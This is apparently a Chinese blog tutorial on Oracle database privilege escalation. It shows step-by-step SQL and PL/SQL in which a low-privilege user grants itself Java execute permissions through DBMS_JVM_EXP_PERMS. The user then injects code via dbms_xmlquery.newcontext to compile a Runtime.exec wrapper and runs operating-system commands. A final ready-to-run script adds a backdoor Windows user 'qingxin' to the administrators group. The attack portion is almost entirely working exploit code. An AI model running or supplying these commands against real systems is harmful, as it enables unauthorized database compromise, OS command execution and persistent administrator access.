0x01 提权准备

这里我们先创建一个低权限的用户test

SQL> conn sys/admin123@orcl as sysdba;

已连接。

SQL> create user test identified by test;

然后查看一下权限

SQL> select * from session_privs;

PRIVILEGE

CREATE SESSION

如上显示,test没有JAVA权限,也只有CREATE SESSION权限

我们如果要通过数据库执行系统命令,那么首先要提升数据库用户的权限。

我们首先要获取java权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL

 FILES>>', 'execute', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermission权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

0x02 JAVA权限执行命令

用我们的test帐号登录

1、首先我们创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

2、然后我们获取java权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

3、创建我们用来执行命令的函数

select dbms_xmlquery.newcontext('declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

4、执行命令

select LinxRUNCMD('whoami') from dual;

0x03 存储过程执行命令

若我们有create procedure权限,而不只是create session这么苦逼时,我们可以创建一个java class然后用创建一个过程来进行调用

1、首先创建一个java class然后用procedure包装它进行调用

create or replace and resolve java source named JAVACMD as

    import java.lang.*;

    import java.io.*;

    public class JAVACMD

    {

       public static void execmd(String command) throws IOException

       {

               Runtime.getRuntime().exec(command);

       }

   }

   /

2、创建调用的包

create or replace procedure MYJAVACMD(command in varchar) as language java

    name 'JAVACMD.execmd(java.lang.String)';

/

3、执行我们的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');

会报错是因为代码中没有捕获异常,我们再执行一次即可

附上一把梭哈

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS

import java.lang.*;

import java.io.*;public class JAVACMD

{public static void execCommand (String command) throws IOException

{

Runtime.getRuntime().exec(command);

}

};/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)

AS LANGUAGE JAVA

NAME 'JAVACMD.execCommand (java.lang.String)';/

exec javacmdproc('cmd.exe /c net user qingxin qingxin /add');

exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');

Oracle数据库提权(dba权限执行系统命令)的更多相关文章

  1. Oracle数据库提权(低权限提升至dba)

    0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...

  2. Oracle数据库提权

    一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...

  3. 删除oracle数据库用户的dba权限(当出现同一用户DBA可以登录,normal不能登录)“无法对SYS拥有的对象创建触发器”

    系统报错:“无法对SYS拥有的对象创建触发器”,搞不懂是什么原因了,到底这触发器要用什么用户才能建立啊? ORA-04089: 无法对 SYS 拥有的对象创建触发器 第一种方式: 首先,用sys用户a ...

  4. MySQL数据库提权(一)

    一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...

  5. RHSA-2017:2930-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  6. RHSA-2017:2299-中危: NetworkManager 和 libnl3 安全和BUG修复更新(本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  7. RHSA-2017:1842-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  8. RHSA-2018:0395-重要: 内核 安全和BUG修复更新(需要重启、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  9. 使用PLSQL 创建Oracle数据库用户并设置权限

    转至https://blog.csdn.net/ying890/article/details/14083029?utm_medium=distribute.pc_relevant_download. ...

随机推荐

  1. 阿里云 centos7 64位搭建JAVA环境-----安装mysql(1)

    一开始用的是阿里云镜像市场的JAVA集成环境,但是配置了好长时间配置不成功.索性就换成了纯净系统从零开始搭建JAVA环境. 镜像:centos_7_04_64_20G_alibase_20170101 ...

  2. 大数据平台搭建 - cdh5.11.1 - spark源码编译及集群搭建

    一.spark简介 Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎,Spark 是一种与 hadoop 相似的开源集群计算环境,但是两者之间还存在一些不同之处,这些有用的不同 ...

  3. xml文档的解析并通过工具类实现java实体类的映射:XML工具-XmlUtil

    若有疑问,可以联系我本人微信:Y1141100952 声明:本文章为原稿,转载必须说明 本文章地址,否则一旦发现,必追究法律责任 1:本文章显示通过 XML工具-XmlUtil工具实现解析soap报文 ...

  4. Web之-----弹出确认框控件应用

    引用文件!-------- <link rel="stylesheet" type="text/css" href="@Url.FrontUrl ...

  5. 微信小程序商城构建全栈应用 Thinkphp5

    课程——微信小程序商城构建全栈应用[目录]第1章 前言:不同的时代,不同的Web第2章 环境,工具与准备工作第3章 模块,路由与获取请求参数第4章 构建验证层第5章 REST与RESTFul第6章 A ...

  6. Cabloy全栈JS框架微创新之一:不一样的“移动优先 PC适配”

    前言 目前流行的前端UI组件库都支持移动设备优先的响应式布局特性.但基于Mobile和PC两个场景的不同用户体验,也往往会实现Mobile和PC两个版本. PC场景下的Web工程,如大量的后台前端管理 ...

  7. 007:CSS字体图标

    目录 理论 一:字体图标 图片是有诸多优点的,但是缺点很明显,比如图片不但增加了总文件的大小,还增加了很多额外的"http请求",这都会大大降低网页的性能的.更重要的是图片不能很好 ...

  8. Alibaba Cloud Toolkit 一键部署插件使用入门

    一.前言 Cloud Toolkit官方介绍文档:https://www.aliyun.com/product/cloudtoolkit Cloud Toolkit 是针对 IDE 平台为开发者提供的 ...

  9. [Spark] 04 - HBase

    BHase基本知识 基本概念 自我介绍 HBase是一个分布式的.面向列的开源数据库,该技术来源于 Fay Chang 所撰写的Google论文“Bigtable:一个结构化数据的分布式存储系统”. ...

  10. [python]兔子问题,斐波那契数列 递归&非递归

    假设一对幼年兔子需要一个月长成成年兔子,一对成年兔子一个月后每个月都可以繁衍出一对新的幼年兔子(即兔子诞生两个月后开始繁殖).不考虑死亡的情况,问第 N 个月时共有多少对兔子? 结果前几个月的兔子数量 ...